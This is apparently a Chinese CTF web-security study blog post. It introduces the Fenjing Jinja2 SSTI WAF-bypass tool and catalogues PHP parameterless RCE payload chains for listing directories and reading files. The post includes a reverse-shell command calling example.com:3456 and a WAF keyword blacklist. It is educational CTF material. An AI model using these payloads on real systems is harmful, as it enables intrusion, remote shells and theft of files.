Skip to main content

🕸️CTFWeb周报10

·286 words
CTF
Yalois
Author
Yalois
freedom
Table of Contents

[SSTI自动化工具]Fenjing
#

专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF

https://github.com/Marven11/FenJing

使用pip安装运行
#

pip install fenjing

打开webui
#

python -m fenjing webui

1280X1280

直接import库来生成payload

# 精简代码
from fenjing import exec_cmd_payload
def waf(s: str): 
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
    ]
    return all(word not in s for word in blacklist)

shell_payload, will_print = exec_cmd_payload(waf, '要执行的shell')
print(f"{shell_payload}")


# github readme中提供的
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", '"', "'", "_", ".", "+", "~", "{{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0","1","2","3","4","5","6","7","8","9"
    ]
    return all(word in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
    config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    print(f"{config_payload=}")

无参数RCE
#

正则匹配网页:https://regex101.com/

无参RCE参考url

https://www.cnblogs.com/tac2664/p/14560027.html

https://www.cnblogs.com/pursue-security/p/15406272.html

什么是无参
#

使用函数的时候不能带有参数。

可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’)

相关函数
#

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
session_id()获取会话id
hex2bin()我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
chr()
数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

getallheaders()
#

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

get_defined_vars()
#

这种方法其实和上面那种方法原理是差不多的,它并不是获取的headers,而是获取的四个全局变量

$GET $POST $_FILES $_COOKIE

getenv()
#

获取环境变量

适用于php 7+

php7.0以下返回bool

scandir()
#

查看当前文件目录名

print_r(scandir(current(localeconv())));

读取当前目录文件

当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
 array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL
 array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
 array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
 dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录目录

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
所获得的字符串第一位有几率是/概率事件

localeconv()
#

返回一个包含本地数字及货币格式信息的数组。

current()和pos()
#

pos()函数是current()函数的别名,两者是完全一样

输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。

chdir()
#

跳转目录

array_reverse()
#

把数组倒过来

highlight_file()
#

打印输出或者返回 filename 文件中语法高亮版本的代码,可以用来读取文件